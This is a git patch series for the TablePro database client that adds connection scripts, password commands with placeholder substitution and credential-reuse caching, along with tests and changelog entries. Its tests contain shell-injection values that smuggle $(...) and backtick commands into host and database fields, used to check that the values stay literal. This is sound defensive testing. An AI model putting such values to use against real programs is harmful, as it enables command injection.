defer { try? FileManager.default.removeItem(at: marker) } + let run = Task { + try await ConnectionScriptRunner.run( + "while [ ! -e '\(marker.path)' ]; do sleep 0.05; done", + environment: [:], + timeoutSeconds: 30, + clock: clock + ) + } + await clock.waitUntilSleeping() + clock.advance(by: .seconds(15)) + FileManager.default.createFile(atPath: marker.path, contents: nil) + #expect(try await run.value == .succeeded) + } + + @Test("A script that kills itself is a failure, not a timeout") + func selfSignalIsAFailure() async throws { + let outcome = try await ConnectionScriptRunner.run("kill -TERM $$", environment: [:], timeoutSeconds: 30) + guard case .failed = outcome else { + Issue.record("Expected a failure, got \(outcome)") + return + } + } + + @Test("Cancelling the connect stops the script", .timeLimit(.minutes(1))) + func cancellationStopsTheScript() async throws { + let started = FileManager.default.temporaryDirectory.appendingPathComponent("tablepro-script-\(UUID().uuidString)") + defer { try? FileManager.default.removeItem(at: started) } + let clock = ContinuousClock() + let begin = clock.now + let run = Task { + try await ConnectionScriptRunner.run("touch '\(started.path)'; sleep 30", environment: [:], timeoutSeconds: 300) + } + try await waitUntil { FileManager.default.fileExists(atPath: started.path) } + run.cancel() + await #expect(throws: CancellationError.self) { + _ = try await run.value + } + #expect(clock.now - begin < .seconds(20)) + } +} diff --git a/apple/TableProTests/Core/Services/Infrastructure/PreConnectHookRunnerTests.swift b/apple/TableProTests/Core/Services/Infrastructure/PreConnectHookRunnerTests.swift deleted file mode 100644 index 4bee6e47af..0000000000 --- a/apple/TableProTests/Core/Services/Infrastructure/PreConnectHookRunnerTests.swift +++ /dev/null @@ -1,41 +0,0 @@ -// -// PreConnectHookRunnerTests.swift -// TableProTests -// - -import Foundation -import Testing - -@testable import TablePro - -struct PreConnectHookRunnerTests { - private static let message = "vault login failed: token expired" - - private static func failureMessage() async -> String? { - do { - try await PreConnectHookRunner.run(script: "printf '%s' '\(Self.message)' >&2; exit 3") - return nil - } catch PreConnectHookRunner.HookError.scriptFailed(let exitCode, let stderr) { - return exitCode == 3 ? stderr : nil - } catch { - return nil - } - } - - @Test("A failing script's message reaches the error every time", .timeLimit(.minutes(1))) - func failureCarriesTheScriptsMessage() async { - for _ in 0 ..< 4 { - let messages = await withTaskGroup(of: String?.self) { group in - for _ in 0 ..< 16 { - group.addTask { await Self.failureMessage() } - } - var collected: [String?] = [] - for await message in group { - collected.append(message) - } - return collected - } - #expect(messages.allSatisfy { $0 == Self.message }) - } - } -} diff --git a/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift b/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift new file mode 100644 index 0000000000..139d3d6194 --- /dev/null +++ b/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift @@ -0,0 +1,112 @@ +// +// ConnectionScriptContextTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import Testing + +@MainActor +struct ConnectionScriptContextTests { + private static func context(host: String = "db.example.com") -> ConnectionScriptContext { + ConnectionScriptContext( + connectionId: UUID(), + connectionName: "Orders", + host: host, + port: 5_439, + user: "app", + database: "dev" + ) + } + + @Test("The environment names the connection and never a password") + func environmentNamesTheConnection() { + #expect(Self.context().environment == [ + "TABLEPRO_CONNECTION_NAME": "Orders", + "TABLEPRO_HOST": "db.example.com", + "TABLEPRO_PORT": "5439", + "TABLEPRO_USER": "app", + "TABLEPRO_DATABASE": "dev" + ]) + } + + @Test("A tunneled connection reports the host and port typed before the tunnel") + func tunneledConnectionReportsTypedEndpoint() { + var connection = TestFixtures.makeConnection(name: "Tunneled") + connection.host = "127.0.0.1" + connection.port = 61_000 + connection.additionalFields[DatabaseConnection.preTunnelHostKey] = "warehouse.internal" + connection.additionalFields[DatabaseConnection.preTunnelPortKey] = "5439" + + let context = ConnectionScriptContext(connection: connection) + + #expect(context.host == "warehouse.internal") + #expect(context.port == 5_439) + } + + @Test("Each value reaches bash as one literal word however the placeholder is quoted", arguments: [ + "printf '%s|' {host} {port}", + "printf '%s|' \"{host}\" \"{port}\"", + "printf '%s|' '{host}' '{port}'" + ]) + func placeholdersArriveLiteral(command: String) async throws { + let hostile = "a b'c\"$(echo pwned)`echo x`\\" + let output = try await PasswordSourceResolver.resolve( + .command(shell: command), + for: Self.context(host: hostile) + ) + #expect(output == "\(hostile)|5439|") + } + + @Test("A value is never run as code, inside a command substitution or a here-document either", arguments: [ + ("printf '%s' \"$(printf '%s' {database})\"", "x; printf INJECTED $(echo pwned)"), + ("printf '%s' `printf '%s' {database}`", "x;printfINJECTED$(echopwned)"), + ("cat <> '\(counter.path)'; wc -l < '\(counter.path)' | tr -d ' '", + reuseSeconds: 60 + ) + + #expect(try await PasswordSourceResolver.resolve(source, for: context, cache: cache) == "1") + elapsed.value = .seconds(59) + #expect(try await PasswordSourceResolver.resolve(source, for: context, cache: cache) == "1") + elapsed.value = .seconds(61) + #expect(try await PasswordSourceResolver.resolve(source, for: context, cache: cache) == "2") + cache.forget(connectionId: context.connectionId) + #expect(try await PasswordSourceResolver.resolve(source, for: context, cache: cache) == "3") + + let shorter = PasswordSource.command( + shell: "echo run >> '\(counter.path)'; wc -l < '\(counter.path)' | tr -d ' '", + reuseSeconds: 30 + ) + #expect(try await PasswordSourceResolver.resolve(shorter, for: context, cache: cache) == "4") + } + + @Test("Without a lifetime the command runs on every connect") + func commandWithoutLifetimeRunsEachTime() async throws { + let counter = FileManager.default.temporaryDirectory.appendingPathComponent("tablepro-runs-\(UUID().uuidString)") + defer { try? FileManager.default.removeItem(at: counter) } + let cache = PasswordCommandCache() + let context = ConnectionScriptContext( + connectionId: UUID(), connectionName: "c", host: "h", port: 1, user: "u", database: "d" + ) + let source = PasswordSource.command(shell: "echo run >> '\(counter.path)'; wc -l < '\(counter.path)' | tr -d ' '") + + #expect(try await PasswordSourceResolver.resolve(source, for: context, cache: cache) == "1") + #expect(try await PasswordSourceResolver.resolve(source, for: context, cache: cache) == "2") + } + @Test("Large stdout drains in full while stderr is also draining") func drainsLargeStdoutWithoutTruncation() async throws { let shell = """ @@ -283,3 +327,13 @@ struct PasswordSourceResolverTests { "TABLEPRO_PWTEST_\(UUID().uuidString.replacingOccurrences(of: "-", with: ""))" } } + +private final class LockedDuration: @unchecked Sendable { + private let lock = NSLock() + private var stored: Duration = .zero + + var value: Duration { + get { lock.withLock { stored } } + set { lock.withLock { stored = newValue } } + } +} diff --git a/apple/TableProTests/Models/DatabaseConnectionAdditionalFieldsTests.swift b/apple/TableProTests/Models/DatabaseConnectionAdditionalFieldsTests.swift index c14b4ddb5b..af80b588b2 100644 --- a/apple/TableProTests/Models/DatabaseConnectionAdditionalFieldsTests.swift +++ b/apple/TableProTests/Models/DatabaseConnectionAdditionalFieldsTests.swift @@ -144,4 +144,20 @@ struct DatabaseConnectionAdditionalFieldsTests { #expect(connection(.postgresql).resolvesAWSIAMInDriver == false) #expect(connection(.redis).resolvesAWSIAMInDriver == false) } + + @Test("The script timeout defaults to 10 seconds and keeps only 1 to 300") + func scriptTimeoutRange() { + var conn = TestFixtures.makeConnection() + #expect(conn.effectiveScriptTimeoutSeconds == 10) + + conn.scriptTimeoutSeconds = 300 + #expect(conn.effectiveScriptTimeoutSeconds == 300) + + conn.scriptTimeoutSeconds = 301 + #expect(conn.scriptTimeoutSeconds == nil) + #expect(conn.additionalFields[DatabaseConnection.scriptTimeoutSecondsKey] == nil) + + conn.additionalFields[DatabaseConnection.scriptTimeoutSecondsKey] = "0" + #expect(conn.effectiveScriptTimeoutSeconds == 10) + } } diff --git a/apple/TableProTests/Models/PasswordSourceCodableTests.swift b/apple/TableProTests/Models/PasswordSourceCodableTests.swift index ec0c3599d3..dfe9e264cc 100644 --- a/apple/TableProTests/Models/PasswordSourceCodableTests.swift +++ b/apple/TableProTests/Models/PasswordSourceCodableTests.swift @@ -27,6 +27,16 @@ struct PasswordSourceCodableTests { try decoder.decode([String: String].self, from: encoder.encode(source)) } + @Test("A command keeps how long its result may be reused, and drops a value out of range") + func commandReuseSeconds() throws { + let reused = PasswordSource.command(shell: "aws rds generate-db-auth-token", reuseSeconds: 600) + #expect(try decoder.decode(PasswordSource.self, from: encoder.encode(reused)) == reused) + + let json = #"{"kind":"command","shell":"s","reuseSeconds":0}"# + let decoded = try decoder.decode(PasswordSource.self, from: try #require(json.data(using: .utf8))) + #expect(decoded == .command(shell: "s")) + } + @Test("Round-trips every kind") func roundTrips() throws { let sources: [PasswordSource] = [ diff --git a/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift b/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift index 05532325ab..deca6905e1 100644 --- a/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift +++ b/apple/TableProTests/ViewModels/ConnectionFormEditsTests.swift @@ -209,6 +209,8 @@ struct ConnectionFormEditsTests { @Test("The app-managed field set covers the keys no plugin declares") func appManagedFieldSet() { #expect(ConnectionFormEdits.appManagedAdditionalFieldIDs.contains("preConnectScript")) + #expect(ConnectionFormEdits.appManagedAdditionalFieldIDs.contains(DatabaseConnection.postDisconnectScriptKey)) + #expect(ConnectionFormEdits.appManagedAdditionalFieldIDs.contains(DatabaseConnection.scriptTimeoutSecondsKey)) #expect(ConnectionFormEdits.appManagedAdditionalFieldIDs.contains("promptForPassword")) #expect( ConnectionFormEdits.appManagedAdditionalFieldIDs From 6729d3c2942a20b1a4368640df10006e7936424d Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Wed, 21 Oct 2026 02:06:36 +0700 Subject: [PATCH 2/3] docs(changelog): note connection scripts and Redshift IAM --- apple/changelog.d/3715.added.1.md | 1 + apple/changelog.d/3715.added.2.md | 1 + apple/changelog.d/3715.added.3.md | 1 + apple/changelog.d/3715.added.md | 1 + apple/changelog.d/3715.fixed.1.md | 1 + apple/changelog.d/3715.fixed.md | 1 + 6 files changed, 6 insertions(+) create mode 100644 apple/changelog.d/3715.added.1.md create mode 100644 apple/changelog.d/3715.added.2.md create mode 100644 apple/changelog.d/3715.added.3.md create mode 100644 apple/changelog.d/3715.added.md create mode 100644 apple/changelog.d/3715.fixed.1.md create mode 100644 apple/changelog.d/3715.fixed.md diff --git a/apple/changelog.d/3715.added.1.md b/apple/changelog.d/3715.added.1.md new file mode 100644 index 0000000000..9ea48cf23f --- /dev/null +++ b/apple/changelog.d/3715.added.1.md @@ -0,0 +1 @@ +A post-disconnect script runs once the session ends, after its pre-connect script ran. diff --git a/apple/changelog.d/3715.added.2.md b/apple/changelog.d/3715.added.2.md new file mode 100644 index 0000000000..3077fdc124 --- /dev/null +++ b/apple/changelog.d/3715.added.2.md @@ -0,0 +1 @@ +Password commands fill in {host}, {port}, {user} and {database}, and can reuse their output for a set time. diff --git a/apple/changelog.d/3715.added.3.md b/apple/changelog.d/3715.added.3.md new file mode 100644 index 0000000000..770c4787ba --- /dev/null +++ b/apple/changelog.d/3715.added.3.md @@ -0,0 +1 @@ +Redshift connections sign in with AWS IAM, IAM Identity Center included, on clusters and Serverless. diff --git a/apple/changelog.d/3715.added.md b/apple/changelog.d/3715.added.md new file mode 100644 index 0000000000..5ea5eef525 --- /dev/null +++ b/apple/changelog.d/3715.added.md @@ -0,0 +1 @@ +Pre-connect scripts see the connection's host, port, user and database, and can run for up to 300 seconds. diff --git a/apple/changelog.d/3715.fixed.1.md b/apple/changelog.d/3715.fixed.1.md new file mode 100644 index 0000000000..05e01a044d --- /dev/null +++ b/apple/changelog.d/3715.fixed.1.md @@ -0,0 +1 @@ +Canceling a connect left its pre-connect script running until it timed out. diff --git a/apple/changelog.d/3715.fixed.md b/apple/changelog.d/3715.fixed.md new file mode 100644 index 0000000000..f9ecf8adce --- /dev/null +++ b/apple/changelog.d/3715.fixed.md @@ -0,0 +1 @@ +Pre-connect scripts could not find Homebrew tools when TablePro was opened from the Dock. From ae0879fbb7094d3a5734ecab1df0fe5209d816f4 Mon Sep 17 00:00:00 2001 From: Ngo Quoc Dat Date: Wed, 21 Oct 2026 02:22:47 +0700 Subject: [PATCH 3/3] fix(connections): track here-documents and drop reused passwords on any failed sign-in --- .../Database/DatabaseManager+Health.swift | 1 - .../Database/DatabaseManager+Sessions.swift | 2 - .../Core/Plugins/PluginDriverAdapter.swift | 2 + .../Connection/ConnectionScriptContext.swift | 129 +++++++++++++++--- .../ConnectionScriptContextTests.swift | 20 ++- .../PasswordSourceResolverTests.swift | 37 +++++ 6 files changed, 167 insertions(+), 24 deletions(-) diff --git a/apple/TablePro/Core/Database/DatabaseManager+Health.swift b/apple/TablePro/Core/Database/DatabaseManager+Health.swift index b6c7a6d576..c3be0d168a 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Health.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Health.swift @@ -544,7 +544,6 @@ extension DatabaseManager { return (candidate, passwordOverride) } catch { driver?.disconnect() - PasswordCommandCache.shared.forget(connectionId: session.connection.id) let reportedError = await Self.preferredTunnelFailure(replacing: error) { await self.attributedTunnelFailure(for: session.connection) } diff --git a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift index ab5286e8ac..fd3cc4aeb0 100644 --- a/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift +++ b/apple/TablePro/Core/Database/DatabaseManager+Sessions.swift @@ -352,8 +352,6 @@ extension DatabaseManager { if attempt.map({ connectionAttempts.isCurrent($0, for: connectionId) }) ?? true { clearConnectionStage(for: connectionId) } - // The next attempt reruns the password command rather than retrying the output that just failed. - PasswordCommandCache.shared.forget(connectionId: connectionId) guard !cancelled else { return } if let error, let reason = ConnectionFailureClassifier.endReason( for: error, diff --git a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift index e334959cb0..c1e46a4757 100644 --- a/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift +++ b/apple/TablePro/Core/Plugins/PluginDriverAdapter.swift @@ -184,6 +184,8 @@ final class PluginDriverAdapter: DatabaseDriver, SchemaSwitchable, DatabaseRepor let adopted = gate.resume(with: .success(())) finishConnect(generation: generation, succeeded: true, adopted: adopted, error: nil) } catch { + // Every sign-in fails here, pooled and per-database ones included, so a rejected reused password goes. + PasswordCommandCache.shared.forget(connectionId: connection.id) let adopted = gate.resume(with: .failure(error)) finishConnect(generation: generation, succeeded: false, adopted: adopted, error: error) } diff --git a/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift b/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift index 2695fb40c3..595977c1ba 100644 --- a/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift +++ b/apple/TablePro/Core/Utilities/Connection/ConnectionScriptContext.swift @@ -25,35 +25,59 @@ struct ConnectionScriptContext: Equatable, Sendable { // A placeholder becomes its TABLEPRO_ variable, never the value as source, so a hostile name cannot run as code. func substitutingPlaceholders(in command: String) -> String { - var output = "" - var contexts: [ShellContext] = [.plain] - var index = command.startIndex + var rewriter = PlaceholderRewriter(command: command) + return rewriter.rewrite() + } +} + +private struct PlaceholderRewriter { + private struct HereDocument { + let delimiter: String + let stripsTabs: Bool + let expands: Bool + } + private let command: String + private var index: String.Index + private var output = "" + private var contexts: [ShellContext] = [.plain] + private var pendingHereDocuments: [HereDocument] = [] + + init(command: String) { + self.command = command + index = command.startIndex + } + + mutating func rewrite() -> String { while index < command.endIndex { let character = command[index] let next = command.index(after: index) let context = contexts.last ?? .plain - if character == "#", context.startsComments, Self.startsWord(in: command, at: index) { + if character == "#", context.isUnquoted, startsWord(at: index) { let lineEnd = command[index...].firstIndex(of: "\n") ?? command.endIndex output += command[index ..< lineEnd] index = lineEnd continue } - - if character == "{", !Self.followsDollar(in: command, at: index), - let (variable, end) = Self.placeholderVariable(in: command, at: index) { + if character == "{", !follows("$", at: index), let (variable, end) = placeholder(at: index) { output += context.reference(to: variable) index = end continue } + if character == "<", context.isUnquoted, context != .group, !follows("<", at: index), + readHereDocumentOperator() { + continue + } output.append(character) + index = next switch character { case "\\" where context != .single && next < command.endIndex: output.append(command[next]) index = command.index(after: next) - continue + case "\n" where context.isUnquoted && !pendingHereDocuments.isEmpty: + copyHereDocumentBodies() case "'" where context == .single: contexts.removeLast() case "'" where context != .double: @@ -66,7 +90,6 @@ struct ConnectionScriptContext: Equatable, Sendable { output.append("(") contexts.append(.substitution) index = command.index(after: next) - continue case "(" where context == .substitution || context == .group: contexts.append(.group) case ")" where context == .substitution || context == .group: @@ -78,31 +101,97 @@ struct ConnectionScriptContext: Equatable, Sendable { default: break } - index = next } return output } - private static func placeholderVariable(in command: String, at start: String.Index) -> (String, String.Index)? { - guard let close = command[start...].firstIndex(of: "}") else { return nil } + // `< Bool { + let rest = command[index...] + guard rest.hasPrefix("<<"), !rest.hasPrefix("<<<") else { return false } + var cursor = command.index(index, offsetBy: 2) + let stripsTabs = cursor < command.endIndex && command[cursor] == "-" + if stripsTabs { + cursor = command.index(after: cursor) + } + while cursor < command.endIndex, command[cursor] == " " || command[cursor] == "\t" { + cursor = command.index(after: cursor) + } + let wordStart = cursor + while cursor < command.endIndex, !command[cursor].isWhitespace, !";|&()<>".contains(command[cursor]) { + cursor = command.index(after: cursor) + } + let word = command[wordStart ..< cursor] + guard !word.isEmpty else { return false } + let quoted = word.contains { "'\"\\".contains($0) } + pendingHereDocuments.append(HereDocument( + delimiter: String(word.filter { !"'\"\\".contains($0) }), + stripsTabs: stripsTabs, + expands: !quoted + )) + output += command[index ..< cursor] + index = cursor + return true + } + + private mutating func copyHereDocumentBodies() { + for document in pendingHereDocuments { + while index < command.endIndex { + let lineEnd = command[index...].firstIndex(of: "\n") ?? command.endIndex + let line = command[index ..< lineEnd] + let ends = (document.stripsTabs ? line.drop { $0 == "\t" } : line[...]) == document.delimiter + output += ends || !document.expands ? String(line) : bodyLine(line) + index = lineEnd < command.endIndex ? command.index(after: lineEnd) : lineEnd + if lineEnd < command.endIndex { + output.append("\n") + } + if ends { break } + } + } + pendingHereDocuments.removeAll() + } + + // A here-document expands variables but never re-reads their values, so the reference goes in bare. + private func bodyLine(_ line: Substring) -> String { + var result = "" + var cursor = line.startIndex + while cursor < line.endIndex { + if line[cursor] == "{", cursor == line.startIndex || line[line.index(before: cursor)] != "$", + let (variable, end) = placeholder(in: line, at: cursor) { + result += "${\(variable)}" + cursor = end + continue + } + result.append(line[cursor]) + cursor = line.index(after: cursor) + } + return result + } + + private func placeholder(at start: String.Index) -> (String, String.Index)? { + placeholder(in: command[...], at: start) + } + + private func placeholder(in text: Substring, at start: String.Index) -> (String, String.Index)? { + guard let close = text[start...].firstIndex(of: "}") else { return nil } let variable: String - switch command[command.index(after: start) ..< close] { + switch text[text.index(after: start) ..< close] { case "host": variable = "TABLEPRO_HOST" case "port": variable = "TABLEPRO_PORT" case "user": variable = "TABLEPRO_USER" case "database": variable = "TABLEPRO_DATABASE" default: return nil } - return (variable, command.index(after: close)) + return (variable, text.index(after: close)) } - private static func followsDollar(in command: String, at index: String.Index) -> Bool { - index > command.startIndex && command[command.index(before: index)] == "$" + private func follows(_ character: Character, at position: String.Index) -> Bool { + position > command.startIndex && command[command.index(before: position)] == character } - private static func startsWord(in command: String, at index: String.Index) -> Bool { - guard index > command.startIndex else { return true } - let previous = command[command.index(before: index)] + private func startsWord(at position: String.Index) -> Bool { + guard position > command.startIndex else { return true } + let previous = command[command.index(before: position)] return previous.isWhitespace || ";|&()`".contains(previous) } } @@ -115,7 +204,7 @@ private enum ShellContext: Equatable { case group case backtick - var startsComments: Bool { + var isUnquoted: Bool { self != .single && self != .double } diff --git a/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift b/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift index 139d3d6194..8dd9f52085 100644 --- a/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift +++ b/apple/TableProTests/Core/Utilities/ConnectionScriptContextTests.swift @@ -62,7 +62,7 @@ struct ConnectionScriptContextTests { @Test("A value is never run as code, inside a command substitution or a here-document either", arguments: [ ("printf '%s' \"$(printf '%s' {database})\"", "x; printf INJECTED $(echo pwned)"), ("printf '%s' `printf '%s' {database}`", "x;printfINJECTED$(echopwned)"), - ("cat </dev/null\nJohn's token\nNOTE\nprintf '%s' {host}"), + for: Self.context() + ) + #expect(output == "db.example.com") + } + + @Test("A here-string and a shift are not here-documents") + func hereStringsAndShifts() async throws { + let output = try await PasswordSourceResolver.resolve( + .command(shell: "cat <<< {host}; echo $(( 1 << 2 ))\nprintf '%s' {user}"), + for: Self.context() + ) + #expect(output == "db.example.com\n4\napp") + } + @Test("A shell variable and an unknown name stay as written") func shellSyntaxIsLeftAlone() { let context = Self.context() diff --git a/apple/TableProTests/Core/Utilities/PasswordSourceResolverTests.swift b/apple/TableProTests/Core/Utilities/PasswordSourceResolverTests.swift index 918c5a1e01..6869db9388 100644 --- a/apple/TableProTests/Core/Utilities/PasswordSourceResolverTests.swift +++ b/apple/TableProTests/Core/Utilities/PasswordSourceResolverTests.swift @@ -1,5 +1,6 @@ import Foundation @testable import TablePro +import TableProPluginKit import TableProTestSupport import Testing @@ -215,6 +216,34 @@ struct PasswordSourceResolverTests { #expect(try await PasswordSourceResolver.resolve(shorter, for: context, cache: cache) == "4") } + @MainActor + @Test("A sign-in the server rejects, pooled ones included, drops the reused output") + func rejectedSignInForgetsReusedOutput() async throws { + let counter = FileManager.default.temporaryDirectory.appendingPathComponent("tablepro-runs-\(UUID().uuidString)") + defer { try? FileManager.default.removeItem(at: counter) } + let connection = DatabaseConnection(name: "Pooled", host: "db.example.com", type: .mysql) + let context = ConnectionScriptContext(connection: connection) + let source = PasswordSource.command( + shell: "echo run >> '\(counter.path)'; wc -l < '\(counter.path)' | tr -d ' '", + reuseSeconds: 600 + ) + #expect(try await PasswordSourceResolver.resolve(source, for: context) == "1") + #expect(try await PasswordSourceResolver.resolve(source, for: context) == "1") + + let adapter = PluginDriverAdapter( + connection: connection, + pluginDriver: RejectingPluginDriver(), + deadline: ConnectionDeadline(configuredSeconds: 5), + timeoutEndpoint: .database("db.example.com") + ) + await #expect(throws: (any Error).self) { + try await adapter.connect() + } + + #expect(try await PasswordSourceResolver.resolve(source, for: context) == "2") + PasswordCommandCache.shared.forget(connectionId: connection.id) + } + @Test("Without a lifetime the command runs on every connect") func commandWithoutLifetimeRunsEachTime() async throws { let counter = FileManager.default.temporaryDirectory.appendingPathComponent("tablepro-runs-\(UUID().uuidString)") @@ -337,3 +366,11 @@ private final class LockedDuration: @unchecked Sendable { set { lock.withLock { stored = newValue } } } } + +private final class RejectingPluginDriver: PluginDriverStub, @unchecked Sendable { + struct Rejected: Error {} + + func connect() async throws { + throw Rejected() + } +}